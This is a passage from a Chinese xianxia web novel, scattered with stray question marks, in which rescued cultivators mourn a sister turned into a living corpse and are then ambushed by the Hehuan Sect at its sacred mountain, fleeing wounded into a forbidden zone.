娄危雪依旧被固定在石床上,随着沈清鸿的靠近,她渐渐出现在娄危雪的视野里。 先是?乌黑的发,然后是?颜色浅淡的眉,冷静的眼,挺翘的鼻,形状优美的唇。 沈清鸿来到?娄危雪身边,身形完完全全地出现。 “清鸿仙尊,你来啦。” 娄危雪嘴角不经意?地弯起一个弧度,如水般清澈的眼眸正凝望着眼前的人?,沈清鸿在那里看到?了自己的倒影。 “嗯,我来了。” 沈清鸿冷如冰雪的面?容在此刻融化,她把束缚住娄危雪的锁链解开,将?人?从石桌上放下。 被放下来之后,娄危雪才看到?沈清鸿身上的衣服,也看清了倒在她身后的两人?。 向来白衣整洁的清鸿仙尊,身上染上许多脏污,斑斑点点的血迹在她的白袍上绽出一朵朵的血花,有些地方的血迹已经开始变黑,宽阔的袖子处不知道被什?么东西弄出几道豁口。 娄危雪微微一怔,“你……” 她张口想?说些什?么,肩头?却被人?抓住,转了个方向。 李寄春赶到?了这里,神色紧张。 “危雪,你怎么样,她们有没有对你动手?” 她问着,上上下下把娄危雪给?打量了个遍,还上手去捏娄危雪的胳膊处的骨骼,检查着娄危雪的身体情况。 沈清鸿的视线就落在李寄春捏着娄危雪身上的手上,然后定在了上面?,李寄春的手捏到?哪里,沈清鸿的视线就跟在哪里。 那视线的温度比李寄春的手还要炙热,从她的身上一处处滑过。 娄危雪被盯得有些不自在,她立刻按住李寄春的手,阻止了李寄春的同时,也阻止了那继续游移的视线。 “寄春,我没事,清鸿仙尊来得很及时。” 确认娄危雪真的不像是?有事情的样子,李寄春缓缓松了口气。 这里是?对方的老巢,说不准什?么时候就会有人?杀过来。 娄危雪看看两人?,“我们先离开吧,这里有很多的活死人?。” “这个你不用担心,清鸿仙尊把那些活死人?都给?打倒了。” 娄危雪愕然,“全部?” “没有全部也差不多了,反正清鸿仙尊是?一路打过来的,我们就跟在清鸿仙尊后面?打一打被漏下来的人?。” 李寄春把在乔宅发生的事情,全部告诉给?了娄危雪。 说沈清鸿发现娄危雪失踪的时候脸色是?有多么多么的难看,说当?时的清鸿仙尊是?如何的不淡定,根本顾不上打草惊蛇,提着剑就去找乔夫人?了,又怎么找到娄危雪留下的记号,杀到?这里。 在李寄春说这些事情的时候,沈清鸿的神色始终淡淡的,仿佛那个在李寄春口中莽撞又不冷静的人不是?她一般。 一股暖流从娄危雪的心底划过,她的嘴角微微勾起。 “谢谢。” 沈清鸿张口想?说什?么,但?最?后什?么都没说,只是?低低嗯了一声?。 三人?从此处离开往回走,娄危雪她们走的并不是?她来时的那一条。 这条路没有那么复杂,不过拐了两次,便回到?牢房那里。 牢房与娄危雪离开时相比,已经大有不同。 廊道里没了活死人?,它?们被贺凡等人?用法术拖到?了牢房中关了起来。 与之相反的,牢房里原本关着的人?被放了出来,她们站在一处空地上,有的神思恍惚,依旧没有从被救中回神,有的和认识的人?抱在一起埋头?痛苦,还有一些人?的状态看上去并不算好,目光呆滞,无论周围的人?和她说什?么,她都如听不见一般。 玲溪被放了出来,看到?娄危雪跟着沈清鸿一道过来,松了口气。 在玲溪身边站着的是?花厌,她依旧臭着张脸,没有丝毫被救下的喜悦,毕竟就算被救出来,她仍然没有自由?。 “你们是?在哪找到?她的。” 娄危雪问向贺凡,当?初她被女子带走的时候,有留意?过附近的牢房,只不过并未在里面?发现花厌。 自花厌失踪已有一夜的时间,此期间谁都没见到?过她,就连跟着花厌一起失踪的玲溪都未曾见到?过。 原本娄危雪还猜测花厌是?不是?已经出事了,可看花厌这样子,显然并没有受伤,也没被人?灌什?么乱七八糟的汤药。 玲溪被放出来后,得知有沈清鸿去救娄危雪,便跟着贺凡等人?一起去开牢房救人?去了。 听到?娄危雪的询问,主动回答:“少主被关在另一处的牢房里,距离这里不太远。” 她说着,还指指身后关押花厌牢房的位置。 娄危雪顺着玲溪指的方向朝后看去,发现那处的地方她并没有走过,难道是?她多虑了? 她撑着下巴正想?着,林乔和林沐带着一个女子走了过来。 那女子模样标致,不过就是?瘦了些,脸色有些许憔悴。 贺凡朝众人?介绍:“这是?我们的师妹,周姿芸。” “师妹,这是?我之前和你说的那些道友。” 他从娄危雪开始,挨个介绍了剩下的人?。 “多谢各位道友,如果不是?你们,我说不定要被关到?什?么时候呢。” 众人?在这边相互客套寒暄,至于李寄春,从跟着娄危雪从那座大厅出来之后,就放心地去找自己师妹去了。 被救出来的人?大多站在边上的一处空地,李寄春走过去在那里找了好久,她的视线从那些女子们的身上逐一扫过,可是?并未找到?想?要找的人?。 李寄春的脸色瞬间就变了,她立刻从第一间牢房开始,挨个地检查过去,可是?始终没有发现师妹的身影。 那些牢房里不是?空的,就是?里面?关了活死人?。 贺凡他们做事很细致,没有遗漏,所有的幸存者都被放了出来。 一个不好的猜测浮现上李寄春的脑海。 不会的,师妹不会那样的。 李寄春控制住自己,连连摇头?,把不好的猜测从脑海中甩出。 她重新走回那处聚集了很多女子的空地,“你们有没有见到?过一个姑娘,她这么高,很爱笑,圆脸,身上还带着这个香囊。” 李寄春拿出一直带着的香囊,向她们比画着师妹的样貌,试图从这里得到?关于师妹的线索。 可是?她接连问了许多的人?,都说没见到?过李寄春的师妹。 “怎么会呢?你们再想?想?,我师妹叫明?小栾,你们都没见过她吗?” 在和娄危雪等人?说话的周资芸,听到?身后不远处的动静,看了过去。 众人?的视线跟着她看过去,纷纷意?识到?李寄春的不对劲。 娄危雪走过去,“怎么了寄春,你没找到?人?吗?” “没有。” 李寄春摇头?,双眉紧紧蹙在一起,忧虑满眼。 周资芸看到?李寄春手中拿着的香囊,神色复杂。 “她……” 只说了一个字,周资芸便又闭上嘴,有些不知道该如何开口。 李寄春见她欲言又止,一个步子冲了上去。 “你是?不是?知道些什?么?” 周资芸叹了口气,“你的师妹,明?小栾,她曾经和我关在一个房间里,只不过……” “只不过什?么,道友你快说啊!” 这吞吞吐吐的样子,叫李寄春更加着急。 贺凡在旁边帮着道:“是?啊师妹,你要是?知道什?么,就赶紧说吧,别吊着人?。” 周资芸抿了抿唇,面?露不忍,“只不过没多久她就被人?给?带走了,等她再被带回来之后就不怎么说话了,我问她发生了什?么,她也不说,从这天开始后,每隔五天她就会被带走,回来后的状态一次比一次地差,到?后面?我和她说话她都已经没反应了,直到?有一天,她被带走后,再也没被送回来过。” “这牢房中常有女子被带走后不再回来,但?是?看管我们的怪物却在逐渐增多,我曾在一个怪物的身上看到?过你师妹的香囊,你师妹恐怕已经……” 剩下的话周资芸没有继续说下去,但?是?众人?都听明?白了她话中的意?思。 李寄春的师妹恐怕是?已经被乔夫人?那些人?用某种秘法,变成活死人?了。 虽然在得知在破庙遇到?的怪物就是?活死人?后,娄危雪心里有过猜测,但?是?也始终抱着一丝幻想?。 万一那活死人?身上的香囊是?从别处获得的呢,万一李寄春的师妹没有出事呢。 可所有的万一不过是?心存侥幸,当?事实摆在眼前,万一这两个字便显得格外苍白。 李寄春面?上血色尽褪,不能接受这个结果。 师妹在宗门?里辈分最?小,明?明?不是?药修,但?却和许多药修一样,喜欢收集各种珍奇草药,一旦找到?就会立刻送去给?李寄春。 李寄春说了她好些次,让她留着,可是?她却总笑着说她留那些没用,强行把草药塞给?李寄春。 她为人?古灵精怪的,很多人?都喜欢她,但?是?她最?喜欢跟在李寄春的身后,天天师姐师姐地叫着。 好多人?都说李寄春这是?养了个小尾巴。 可是?,李寄春看了眼身后,空空如也,只有狭窄的廊道。 她的小尾巴去哪里了? 娄危雪什?么都没说,伸手搭上李寄春的肩膀,安抚性地拍了两下。 李寄春被拍醒,抹了下发红的眼眶。 不管师妹变成什?么样子,都始终是?她的师妹,她要把师妹找出来。 李寄春拨开众人?,重新站在第一间的牢房面?前,朝里面?望去。 变成活死人?之后,人?的样貌便会跟着改变,几乎只能看出一个大概的骨骼轮廓。 牢房中有一些活死人?已经醒了过来,但?是?依旧有一些活死人?还在昏睡着。 李寄春没有漏过一个,她的视线仔细地从活死人?狰狞可怖的面?容上扫过,试图找到?师妹的存在。 不过找了好几个房间,李寄春都没有看到?与师妹长相相似的活死人?。 也许师妹已经从这里逃走了呢? 李寄春抱着一丝期待,但?是?在来到?下一间牢房前,看到?里面?的活死人?时,一行清泪不受控制地顺着她的面?颊流下。 “师姐,我接了个委托,约定好了,等我回来师姐要在宗门?前等我哦。” “放心,我不会贪玩的,谁让宗门?有我的亲亲师姐呢。” “嘿嘿,师姐,我走啦,你记得照顾好自己。” 明?小栾离宗时对李寄春说的话,浮现在李寄春的耳畔,她下山的那天,天气很好,阳光照耀在人?的身上并不灼热,清风和煦。 李寄春看着牢房里的人?,记忆中的阳光颜色逐渐黯淡下来,湛蓝的天空被乌云遮挡。 原本灿烂的画面?,逐渐褪色,笑着说离开的人?,没能回去。 她的小师妹,怎么就变成这样了呢? “对不起,师姐来晚了。” 李寄春哽咽出声?,她的眼眶一片通红,额角青筋暴起,哭得不能自已。 “对不起,对不起……” 牢房中的怪物,被门?口的动静惊动,朝牢房的房门?处靠近,见外面?有人?,凭借本能地伸出手,去抓李寄春。 李寄春就站在那里一动未动,不管怪物如何努力,她的手始终碰不到?李寄春。 那一点的距离,宛如天堑。 她张牙舞爪着,但?是?什?么都抓不到?。 李寄春哭了很久,娄危雪她们默契地把空间留给?李寄春,没有去打扰。 周资芸和一些被放出来的人?询问着贺凡她们乔宅的事情,贺凡告诉她们乔宅已经不存在了。 当?时沈清鸿急着找寻娄危雪的下落,直接动手试探乔夫人?,乔夫人?立刻就暴露招来了手下,她们那个时候才知道府上的下人?都是?乔夫人?的手下伪装的。 乔夫人?不是?沈清鸿的对手,但?是?不管沈勤刚如何逼问,乔夫人?都不肯把娄危雪的下落出说来,说就算死也要拉人?垫背。 最?后更是?直接自爆内丹,她的那些手下没能逃走,受到?波及,纷纷殒命。 如果不是?沈清鸿护着贺凡等人?,她们恐怕也会葬送在乔宅。 也是?那时,她们发现乔夫人?戴着的不过是?个普通戒指,在她的自爆下直接化为乌有。 乔宅彻底沦为废墟,什?么都没能留下。 乔夫人?在地下据点这边留守的手下,逃得逃死的死,所有的活死人?已经被控制起来,牢房中的人?被放出,其中也有一些是?其他宗门?接了委托过来,结果被骗中招,关在这里的。 出来后,她们各自给?宗门?去了信,报了平安,至于那些普通的女子,都各自回家去了。 地下据点空了下来,只剩下她们一行人?。 李寄春已经不哭了,她蹲在关押明?小栾的牢房前面?,已经变成活死人?的明?小栾,不再伸着手抓李寄春,只是?无意?识地在牢房中转悠。 娄危雪叹了口气,走过去。 “寄春,你之后有什?么打算吗?” “危雪你看,这里有这么多的活死人?,它?们或许是?其他人?的朋友、妻子、家人?。” 李寄春回忆着露出一个苍白的微笑,“我师妹以前总说,她的师姐以后会成为天下第一的药修,治好别人?都治不好的病,我又怎么能叫她失望呢?” 娄危雪有些疑惑,“你想?做什?么?” “我曾偶然在一本古籍中看到?过,合欢宗的圣山在千万年前是?一座灵山,传说中的神兽白泽居住在那里,见到?白泽的人?可以获得机缘,飞升成仙,也正因为白泽的存在,里面?天材地宝无数,说不定可以在里面?找到?救我师妹的草药。” 合欢宗圣山?那不就是?她们正要去的地方吗? 放在平常或许去圣山会很困难,可是?现?*?在有花厌这个合欢宗的少主在,她们会方便许多。 娄危雪忙道:“我和清鸿仙尊有事也需要去圣山一趟,寄春你既然也要去,不如和我们一起?路上也好有个照应。” 李寄春诧异没想?到?娄危雪也要去圣山,点头?应下。 “好。” 林沐在旁边听到?两人?的对话,有些好奇,“白泽这种上古神兽真的存在吗?那古籍上可有记载白泽的样子?” 听到?林沐询问,李寄春没有藏私,她从随身空间中取出一块留影石。 “当?时我觉得这记载新奇,便用留影石做了记录,你们自己看吧。” 留影石被注入灵力后,渐渐升空,淡淡的白光亮起,一幅书卷浮现在众人?眼前。 书卷上记载了关于灵山和白泽的事情,与李寄春方才所说无二,在书卷的右下角,有一幅图画,底下标注了白泽两个字。 那画上白泽狮身羊须,头?生双角,通体雪白,脚踏祥云。 娄危雪看着上面?的图画,怎么看怎么觉得眼熟。 她挠挠脑袋,“寄春,这就是?白泽吗?可看着怎么和我当?初契约的灵兽那么像呢?总不能我当?初契约的就是?白泽吧?” 一侧的沈清鸿看着留影石同样若有所思,不怪娄危雪这么问,那上面?的图画确实与她的灵兽化身有些相像,只不过画上的白泽形象比她的化身更大也更威猛,看着便令人?生畏。 贺凡听到?后笑了,“娄道友,你在开什?么玩笑,白泽可是?神兽,通万物之情,知鬼神之事,怎么会是?你说契约就契约了的。” “也是?,可能只是?长得像吧。” 娄危雪没再多想?,如果是?白泽怎么可能会那么轻易受伤,看来她当?初契约的灵兽只是?与白泽长得像而?已。 不过自从当?初她被沈清鸿吓得从山中小屋逃走后,就没再回去过。 也不知道白团子现在怎么样了。 等合欢宗的事情了结,还是?得去看一看才是?。 尽管白团子躲着她,不愿意?让她发现。 想?到?这里,娄危雪深深叹了口气。 到?底要怎么样才能得到?灵兽的青睐啊,她真的很想?撸白团子。 听到?娄危雪叹气的沈清鸿,侧目看去,“怎么了?” “清鸿仙尊,你说怎么样才能讨灵兽的欢心啊,我契约的那只灵兽都不喜欢我,碰都不愿意?让我碰。” 娄危雪皱着张小脸,看上去颇为苦恼。 沈清鸿身体微僵,面?色有些怪异。 她干巴巴道:“不知道。” “好吧。” 娄危雪无奈,看来只能自己想?办法了。 而?边上,贺凡等人?已经开始商量起活死人?的处理问题了。 “这些活死人?要怎么办,总不能一直把它?们关在这里。” “此处无人?看守,我们如果走了,它?们被别有用心的人?发现,到?时候后果将?不堪设想?。” 这一次她们能这么轻松地处理掉这些活死人?,多亏了有沈清鸿这个化神期的仙尊在。 可下一次就不一定了。 要知道这世上达到?化神境的人?并不多,大多数都是?门?派长老一般的人?物,根本不会随便下山。 李寄春闻言,向众人?道:“不必担心,我已经传讯给?师傅说了师妹和这里的情况,师傅知道后会派人?过来,不过在那之前,我们还需要在这里看守几天。” 只是?看守而?已,对众人?来说都不是?什?么难事。 这地下除了牢房外,还有不少的房间,众人?索性在此住下,一边看守活死人?,一边调查剩下的房间,试图在这里找到?关于乔夫人?来历的线索。 不过除了一些用来炼制活死人?的东西外,她们没有再找到?更多的东西。 倒像是?有人?事先知道,所以把有用的线索都销毁了一般。 可现在乔夫人?已死,众人?也无法再继续追查下去。 几天后,李寄春的师门?来了人?,把这些活死人?全部接走,带回了宗门?。 此间事了,便也到?了分别的时候。 城门?口,贺凡和几个师妹站在一处。 “我们此次下山就是?为了寻找资芸师妹,现在师妹找到?,我们也该回去了。” “就此别过,祝几位道友此去一路顺风。” 娄危雪嘴唇微微地扬起,“借你吉言。” 见到?告别后,众人?分开,娄危雪等人?重新踏上旅程。 第35章 十日后?,众人成功抵达圣山。 有花厌这个合欢宗的?少主在,她们走得很顺,一路畅通,无人阻拦。 众人沿着铺就好的?石阶沿路往上,周遭安静,只有她们走路的?声音。 娄危雪望着走在自己前方的?那道身影,心中情绪交错复杂。 就快要拿到解药了,等合欢散解了之后?,她和沈清鸿的?婚约便也要结束了。 她会想办法离沈清鸿远远的?,她们不会再有交集,她说不定也可以捡回一条命。 该高兴才是,可是娄危雪却觉得嘴角沉重,怎么都抬不起来?。 正胡思乱想间,娄危雪看到前面那道背影停了下来?。 “等等。” 清冷冷的?声音响起,紧接着一截手臂出?现?在娄危雪眼前,挡住了还要继续往前去的?她。 娄危雪怔愣一下,停下了步子。 “怎么了,清鸿仙尊?” 李寄春和玲溪见?状也纷纷停了下来?,用疑惑的?目光询问?着沈清鸿。 而在众人前面领先几步带路的?花厌,感?受到身后?消失的?脚步声,转过?身。 “放解药的?地?方就在前面了,你们停下来?干什?么,还不快走?” 花厌面无表情,不过?沈清鸿并没有错过?她眼底一闪而过?的?急躁,这很不对。 沈清鸿一言未发,直接朝花厌袭去。 这一切发生在瞬息之间,所有人都没料到沈清鸿会袭击花厌,可花厌却像是早有防备一般,眼底没有半分诧异。 而在众人眼中就是,早已被压制住修为不能动用灵力的?花厌,身影快速朝后?掠去,生生躲过?了沈清鸿的?袭击。 “快走!” 一击不成,便失去了机会。 沈清鸿没有继续和花厌纠缠,转头拽着娄危雪就朝山下奔去。 花厌冷哼一声,既然已经暴露,索性不再掩藏。 她拍拍双手,“都出?来?吧。” 只见?在花厌身后?不远处的?山道两旁,突然出?现?一群穿着粉色纱衣的?合欢宗弟子。 显然,这些合欢宗的?弟子是事先埋伏在那里?的?,如果不是沈清鸿及时发现?花厌的?不对劲,她们若是继续跟着花厌一路朝前,恐怕早就落入合欢宗的?包围中了。 顾不得多想,李寄春等人跟着沈清鸿的?步伐纷纷朝来?路跑去。 沈清鸿紧紧抓着娄危雪的?胳膊,浑身灵力调转到极致,如一阵风般往前奔去。 身后?花厌气定神闲地?看着,根本就不担心沈清鸿能够跑得掉。 她的?身侧不知道什?么时候出?现?一个女子,女子的?头发已经白了,面容却十分年轻,看上去只有三十多岁,穿着身黑色印暗金纹路的?长?裙,腰间挂着一截长?鞭。 花厌侧首,朝女子点了点头。 “莫长?老,有劳了。” 下一秒,花厌身侧的?人消失了,黑色的?风眨眼间刮到沈清鸿身后?。 一道银光裹挟着奔雷之势,朝着沈清鸿和娄危雪二人交握的?双手打去。 感?受到身后?传来?的?劲风,沈清鸿眼神凌厉,在长?鞭打过?来?的?瞬间,松开娄危雪的?手,将人朝旁边推去。 鞭影未中,在地?上砸出?一道深深的?鞭痕。 娄危雪看着地?上的?裂缝,一股寒意顺着她的?背脊往上爬去。 如若不是沈清鸿及时放开她,鞭子打到两人手上,恐怕手就要废了。 也就这片刻的?功夫,合欢宗的?人已经追了上来?,身后?的?退路,被合欢宗的?弟子拦住,她们还是被包围了起来?。 花厌站在包围圈外,悠悠然地?看着娄危雪等人。 “别费力气了,你们跑不掉的?。” 玲溪皱眉,“少主,这究竟是怎么回事!” 花厌没有回答,只瞪了玲溪一眼,“过?来?。” 被这般呵斥,玲溪没有动,她抿着唇倔强地?看着花厌。 玲溪的?不配合,叫花厌眸中火焰燃烧更盛,“还不过?来?,难道忘记你的?身份了吗?” 在两人对峙的?时候,娄危雪脑中已经飘过?千百种思绪,花厌到底是什?么时候和合欢宗的?人勾结到一起的?? 明明她们一起离开宗门的?,而且一路上花厌鲜少离开她们的?视线,就连睡觉的?时候都有玲溪看着,根本就没有和其他人接触的?…… 不对! 娄危雪猛然反应过?来?,花厌并不是一直都在她和沈清鸿的?监视下。 问?题出?在花厌与玲溪一起消失的?那晚! “乔宅的?东西是你们弄出?来?的?,当时你根本就不是被关在了其他牢房!” 之所以她和沈清鸿都没发现花厌已经解了身上的?禁制,恐怕与合欢宗的?秘法有关系。 毕竟当初在乔宅,她们同样没在下人身上感受到灵力波动。 而玲溪在合欢宗的处境十分尴尬,想必并不知道这个秘术。 花厌冷哼一声,满眼讥讽,“如果不是有沈清鸿这个仙尊在,你以为你们能走出?乔宅?” 乔宅确实是合欢宗的?据点,当初花厌在破庙遇到那些活死人的?时候就已经意识到不对了。 因为活死人指甲上的?那道粉色,很像被当炉鼎使用后?遗留下的?痕迹,不过?当时她并不确定与合欢宗有关系,直到在屋中昏迷,阴差阳错被送往地?下后?花厌才确认,乔宅就是合欢宗用来?给莫长?老网络女子炉鼎的?地?方。 为了报私仇,她让乔夫人想办法把娄危雪抓了过?来?,准备直接把娄危雪练成供她操控的?活死人,可她没料到沈清鸿竟然会因为娄危雪失踪,直接杀到地?下。 迫不得已,她只能让人先去合欢宗传信,在此设了埋伏。 边上莫长?老拿着长?鞭,已经等得有些不耐烦了,与年轻的?面容不同,她嗓音沙哑苍老。 “少主,别和她们废话了,她们毁了我的?据点,我可要和她们好好算算账。” 她眼神阴婺,从?娄危雪等人的?身上挨个扫过?,被扫到的?人仿佛看到一条毒蛇,嘶嘶地?吐着芯子,盯着她们。 沈清鸿一言未发,眉头紧锁。 她看不透莫长?老的?修为,说明这个莫长?老的?境界在她之上。 花厌她一副胜券在握的?表情,朝包围圈中的?众人扬扬下巴。 “好了,话就说到这里?,莫长?老是化?神后?期大圆满的?强者,你们如果不想吃苦头,就乖乖束手就擒,也好让我省些功夫。” 场内几人都未说话,只是纷纷攥紧了自己的?武器,沈清鸿还把娄危雪往自己身后?藏了藏。 “看样子你们不愿意,那可就不能怪我了。” 花厌眼底闪过?一道厉色,她吩咐:“动手吧。” 话音落下,所有合欢宗的?人全部?有了动作。 莫长?老早就等不及了,当先抬手朝娄危雪袭去。 长?鞭破空而来?,这一鞭速度太快,娄危雪根本躲不过?,她咬牙抽剑准备抵挡,正在这时沈清鸿决然地?挡在娄危雪面前,替她接下了这一鞭。 沈清鸿面色白了一分,尽管莫长?老和她一样同为化?神期,可修为越往上其中的?分水岭越大,十个化?神前期都抵不过?一个化?神后?期。 莫长?老见?自己的?鞭子被挡下,来?了兴致。 “小娃娃,身手不错,那我就陪你玩一会吧。” 她直接放弃娄危雪,转头攻向沈清鸿。 沈清鸿薄唇紧抿,专注应对,均湘剑在她手中舞出?道道残影,千万剑影浮现?在她身后?,如有实质,齐齐朝着莫长?老袭去。 莫长?老毫不畏惧,鞭影如蛇,缠绕住均湘。 两人身影交错,缠斗在一起,顶尖强者的?对决,容不下任何人的?加入。 同时,合欢宗剩下的?一些人朝着娄危雪和李寄春攻去。 李寄春手中银光飞舞,长?针被她操控着飞出?,打在合欢宗弟子们的?身上。 娄危雪也抬剑,应对着攻来?的?合欢宗弟子。 场上法光剑光交错,玲溪咬唇帮着李寄春和娄危雪抵挡着攻击。 花厌眼神微眯,冷哼一声,加入战斗。 她目标明确,直直朝着娄危雪袭去。 在云霄门的?那些天,娄危雪可是叫她吃了不少苦头,眼下有机会,她自然要奉还回去! 娄危雪不过?是个结丹期的?修士,哪里?是花厌这个元婴高手的?对手,加上有合欢宗弟子们的?帮忙,没多久便落入下风。 在抬剑架住右边的?三道长?剑后?,一道冷芒朝着娄危雪当胸袭来?,眼看着剑刃就要落在娄危雪身上,关键时刻玲溪冲到娄危雪身前举剑费力地?替她挡下了这一剑,可她的?修为和攻来?的?花厌差距过?大,手腕颤抖手中剑被一寸寸压下,剑刃落在她的?肩头。 花厌眼神幽暗,收手一脚把挡在娄危雪面前的?玲溪踹出?包围圈。 她朝几个合欢宗弟子吩咐,“看住她。” “少主!不要!” 玲溪目露恳求,花厌哪里?会管她。 “等会儿再收拾你!” 愤愤瞪了玲溪一眼,花厌重新袭向娄危雪。 李寄春是药修,尽管修为与花厌同等,可她对于战斗这种事情本就不太擅长?,应对得颇为费力,难以抽身去帮娄危雪。 在花厌与合欢宗人的?围攻下,娄危雪的?身上没多久便出?现?几处伤痕,她灵力消耗得厉害,拿剑的?手也在止不住地?颤抖,几乎要握不住剑。 花厌冷笑,攻势不减反增,剑势破空而来?,娄危雪躲闪不及,被一剑刺入肩膀。 长?剑带着的?灵力在她肩头爆开,娄危雪咬紧牙关,额上冷汗密布。 花厌殷红的?薄唇扯出?一抹嗜血的?笑,她欺身而上朝娄危雪胸前拍出?一掌。 娄危雪的?身形朝后?倒去,刺中肩头的?长?剑被一寸寸抽离,血花在空中绽放,她没忍住痛哼一声。 原本和莫长?老缠斗在一起的?沈清鸿状况说不上好,听到娄危雪的?声音,心头惊悸,忍不住分神。 也正因为这一眼,长?鞭避开沈清鸿的?剑锋,狠狠抽在沈清鸿的?身上,原本雪白的?长?衣被瞬间染红。 化?神后?期的?一击哪是那么好受的?,沈清鸿眉头紧皱,哇的?一声吐出?一口鲜血。 莫长?老眼中闪射着凶光,一抹邪恶的?笑绽放在脸上。 “小娃娃,没人警告过?你,打斗中不能分神吗!” 她乘胜追击,再次举鞭,沈清鸿连忙抵挡,鞭子缠绕在均湘剑上,火花迸溅。 强者之间的?对决往往就是几招之间的?事情,沈清鸿境界本就比莫长?老低,凭借着剑修的?强大实力,才勉强和莫长?老斗了个来?回,可此刻受了伤,应对起来?便吃力了许多。 同时,李寄春被合欢宗的?人拿下,长?剑搭在她的?脖子上,叫她动弹不得。 娄危雪身上伤口遍布,发丝黏腻腻的?帖在脸上,她撑着剑勉力支撑,身形狼狈。 除了沈清鸿场上只剩娄危雪一人,有几个合欢宗的?弟子分别控制住李寄春和玲溪,至于剩下的?则全部?朝娄危雪攻去。 发现?娄危雪的?困境,沈清鸿双眉紧皱,她抬手内丹运转到极致,均湘剑光芒大盛,身后?似有河流汇聚,朝着莫长?老奔涌而去。 汇聚诸多灵力的?一剑,叫莫长?老招架起来?有些费力,身形倒退飞了不远的?距离。 沈清鸿趁着这个空隙,飞向娄危雪身边,破开娄危雪身边的?攻击。 “走。” 她一把揽住娄危雪腰身,在莫长?老还没打回来?之前,带着人往林子里?钻。 “快追!绝对不能让她们逃走!” 花厌当先追去,那双阴鸷的?眸子如同嗜血般可怕。 莫长?老冷哼一声,身影快得如同一道闪电,紧紧坠在沈清鸿的?身后?,时不时还抽出?鞭子挥击几下。 沈清鸿知道一旦停下,莫长?老势必会纠缠上来?,到时候再想逃跑就困难了。 她咬紧牙关,挥手放出?均湘,剑影在她们周身环绕,挡下莫长?老的?道道攻击,沈清鸿的?面色也跟着慢慢变白。 那些攻击仿佛不是打在剑影上,而是打在她的?身上。 她多次借着莫长?老的?攻势,朝前飞去,莫长?老意识到沈清鸿不顾受伤,还借着她的?攻击跑得更快了,便不再攻击,只是专心追人。 自始至终,沈清鸿的?容颜和她的?手臂一样稳定。 她们穿过?丛林,躲过?陷阱,然后?继续奔跑,风声凛冽从?娄危雪的?耳畔呼啸而过?,树木的?倒影快速朝身后?退去,所有的?细节被无限制放大,她能闻到沈清鸿身上传来?的?冷冽气味混合着淡淡的?血腥。 强健有力的?心跳就在耳边,没有什?么时刻能比这一刻更让娄危雪相信,她们可以逃掉。 不知道跑了多久,也不记得跑了有多远,直到身后?的?声音全部?消失,沈清鸿才停下来?。 两人身后?的?远处,花厌等人停在一块石碑面前,看着石碑后?草地?上沾染的?鲜血,她们却没胆子再继续往里?追去。 “少主,现?在怎么办。” 花厌盯着石碑,眼底阴婺如伸手不见?五指的?黑夜。 莫长?老脸色阴沉的?仿佛要滴出?水来?,眼见?着就要制住的?两人从?她手中逃了,叫她十分不悦。 她看着石碑,不甘道:“趁着她们现?在还没跑远,不如我进去捉了她们,以防夜长?梦多!” “等等。”花厌面色纠结,还是叫住了莫长?老,“后?面便是禁地?,此处凶险,她们已经身受重伤,绝无出?来?的?可能,长?老还是不要进去犯险了。” 经过?花厌的?提醒,莫长?老犹豫再三,还是收起了长?鞭。 “也罢。” 自灵山被合欢宗的?人占据为圣山后?,此处便被划分成了禁地?,不许任何人进入。 根据流传下来?的?记载,圣山中有关于飞升的?线索,但是从?来?没有人真?的?在这里?找到过?,时间久了,便有许多人猜测这飞升的?线索就在这禁地?之中。 于是自然有离经叛道,追求刺激又自诩天才的?家伙走入禁地?,可是她们没有一个人活着走出?来?过?,哪怕是渡劫期这样的?强者,也是如此。 沈清鸿和娄危雪两人丝毫不知她们逃入的?是什?么样的?地?方,摆脱了合欢宗,所有的?疲劳伤痛在这一刻翻涌而来?,沈清鸿脚步踉跄差点摔倒,好在娄危雪及时将人扶住。 两人脱力,背靠着树木瘫坐下来?。 沈清鸿的?伤势比娄危雪要重,身上的?伤口没有愈合,反倒在逃路的?过?程中裂开许多,鲜血丝丝渗出?染红了她的?前襟。 浓重的?血腥味传入娄危雪的?鼻腔,她紧紧皱起眉来?,这么下去不是个办法。 当初离宗的?时候,娄危雪带了不少灵药,她从?随身空间取出?几个药瓶,什?么元气丹、汇灵丸、益神丹…… 都是些固本培元,助人止血恢复灵力的?丹药。 她把这些递到沈清鸿苍白无色的?唇边,“清鸿仙尊,你把这些吃下,对你的?伤口会有好处。” 沈清鸿没有犹豫,就着娄危雪的?手一口服下。 温热的?唇擦过?娄危雪的?掌心,给娄危雪心里?带来?一阵异样。 不过?现?在可不是多想的?时候,娄危雪收回手,又给自己倒了些灵药出?来?吞下。 此一战两人消耗不少,好不容易有个喘息的?地?方,两人在原地?休整。 为防之后?遇到合欢宗的?人,沈清鸿盘膝抓紧时间打坐恢复灵力,可还未过?多久,她又重新睁开眼睛。 娄危雪守在旁边,见?沈清鸿睁眼,询问?:“怎么了?” 沈清鸿没有搭话,盯着身前的?树林,似乎有一团庞然大物正朝她们快速跑来?。 以她现?在的?状态,绝对不适合再出?手。 “先走。” 沈清鸿立刻起身,带着娄危雪快速离开原地?,她们身后?的?东西意识到自己的?猎物正在飞速逃跑,同样加快了速度。 两人身后?的?树林倒下一片,惊起阵阵尘烟。 可她们快,身后?的?东西更快,她们之间的?距离越来?越近。 一只利爪带着罡风灵力朝两人拍去,危急时刻,沈清鸿转身挡下这一爪。 两人因此被迫停下,这才看见?出?现?在面前的?是一种野兽,长?得像赤豹,身后?拖着五条尾巴,额间生着一只怪角。 因为攻击被挡下,它颇为不满,张开巨口,发出?的?声音如同敲击石头。 这是只有着元婴期修为的?凶兽,堪比人类的?出?窍期修士,若是在没受伤的?时候,沈清鸿尚且可以处理,可她经过?先前的?一番战斗,体内灵力没有恢复,现?在已是强弩之末。 沈清鸿薄唇紧抿,握紧了均湘。 凶兽没给两人喘息的?机会,抬起巨爪再次朝两人袭去。 沈清鸿躲开一记爪风,挡住甩过?来?的?尾巴。 那尾巴打在均湘剑上,与之碰撞发出?金石交接的?声音。 娄危雪在旁边帮着沈清鸿,可是她修为低下,根本就不是凶兽的?对手,不过?几个呼吸的?功夫,肩头便抓出?一个血淋淋的?爪印。 沈清鸿招架着凶兽的?三条尾巴,根本无暇来?帮娄危雪。 凶兽被鲜血激出?了血性,凶性大放,咆哮一声,张开血盆大口朝娄危雪咬去。 娄危雪身体冷得厉害,眼前阵阵发昏,凶兽身上传来?的?威压,让她连站着都要花费不少力气。 她不过?是一个结丹后?期的?修士,经历先前的?战斗,和路上的?奔逃,身体早就到了极限。 腥臭的?气息扑面而来?,她想躲闪,手腕上却仿佛有万钧之重,根本就抬不起来?。 